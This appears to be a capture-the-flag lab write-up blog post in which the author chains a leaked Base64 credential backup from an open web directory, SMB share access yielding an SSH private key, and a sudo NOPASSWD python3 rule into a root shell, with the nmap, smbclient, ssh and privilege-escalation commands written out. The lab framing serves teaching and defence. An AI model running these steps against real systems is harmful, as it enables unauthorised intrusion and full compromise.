Post cover image

August 8, 2026

Chaining Information Disclosure, SMB Access, and Sudo Misconfiguration to Root — RatCTF Write-up

In this lab, an exposed web directory leaked a backup credential file that provided access to an SMB share. The share contained an SSH…

By 0xnay33m

2 min read

In this lab, an exposed web directory leaked a backup credential file that provided access to an SMB share. The share contained an SSH private key, allowing initial access to the system. A misconfigured sudo rule permitting unrestricted execution of Python 3 as root ultimately led to full system compromise.

Initial Enumeration

I began by enumerating the exposed services on the target.

nmap -sV -p 21,22,139,445,8080 ip

The scan revealed five accessible services.

PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          vsftpd 3.0.5
22/tcp   open  ssh          OpenSSH 8.2p1 Ubuntu
139/tcp  open  netbios-ssn  Samba smbd 4
445/tcp  open  netbios-ssn  Samba smbd 4
8080/tcp open  http         SimpleHTTPServer 0.6

With both SMB and HTTP exposed, I started with the web service.

Exploring the Web Server

Accessing the web root immediately revealed that directory listing was enabled.

curl http://ip:8080

Response:

Directory listing for /
backup.creds
notice.txt

The presence of downloadable files suggested an information disclosure vulnerability.

Information Disclosure

The notice file hinted that credentials had been left behind.

curl http://ip:8080/notice.txt

Output:

Welcome to the LabCorp FTP server.
This server is for internal use only.
IT Notice:
A credentials backup file has been left in this directory
for disaster-recovery purposes.

Next, I downloaded the backup credential file.

curl http://ip:8080/backup.creds

Contents:

c21idXNlcjpXZWxjMG1lMlRoZVNoYXJlIQ==

The value appeared to be Base64 encoded.

Decoding it:

echo "c21idXNlcjpXZWxjMG1lMlRoZVNoYXJlIQ==" | base64 -d

Result:

smbuser:Welc0me2TheShare!

The exposed web directory had leaked valid SMB credentials.

Authenticating to SMB

I verified the credentials using NetExec.

nxc smb ip \
-u smbuser \
-p 'Welc0me2TheShare!'

Authentication succeeded.

[+] LABSERVER\smbuser:Welc0me2TheShare!

Accessing the SMB Share

Using the recovered credentials, I connected to the available SMB share.

smbclient //ip/data \
-U 'smbuser%Welc0me2TheShare!'

Listing the contents:

id_rsa
username.txt

I downloaded both files.

get username.txt
get id_rsa

Reading the username:

cat username.txt
labuser

The SMB share exposed both the SSH username and the corresponding private key.

Initial Access via SSH

First, I adjusted the private key permissions.

chmod 600 id_rsa

Then authenticated over SSH.

ssh -i id_rsa labuser@ip

Login succeeded.

Verifying access:

whoami
labuser

The user flag was present in the home directory.

Enumerating Sudo Privileges

After gaining a foothold, I checked the user's sudo permissions.

sudo -l

The output revealed an overly permissive configuration.

(root) NOPASSWD: /usr/bin/python3

Allowing Python to run as root without a password effectively grants arbitrary code execution.

Privilege Escalation

Python can execute system commands directly.

Using the following command, I spawned a root shell.

sudo python3 -c 'import os; os.system("/bin/bash")'

The prompt immediately changed to:

root@smb-ftp-lab:/home/labuser#

Verifying privileges:

id
uid=0(root) gid=0(root) groups=0(root)

Root Flag

With full administrative access, retrieved the final flag.

Attack Path

Port Scan
      │
      ▼
Discover Exposed Web Directory
      │
      ▼
Download Credential Backup
      │
      ▼
Decode Base64 Credentials
      │
      ▼
Authenticate to SMB
      │
      ▼
Access SMB Share
      │
      ▼
Retrieve SSH Private Key
      │
      ▼
SSH Login
      │
      ▼
Enumerate Sudo Privileges
      │
      ▼
Abuse NOPASSWD Python3
      │
      ▼
Spawn Root Shell
      │
      ▼
Read Root Flag

Conclusion

This lab demonstrates how a chain of small security mistakes can quickly escalate into a complete system compromise. A publicly accessible web directory exposed encoded SMB credentials, which led to an SMB share containing an SSH private key. After gaining user access, an overly permissive sudo configuration allowed unrestricted execution of Python as root, resulting in full privilege escalation.

Note: The IP address, lab name, and other identifiable information have been intentionally redacted because the purpose of this write-up is to explain the methodology and approach rather than provide a copy-and-paste solution.

Happy H4CKING.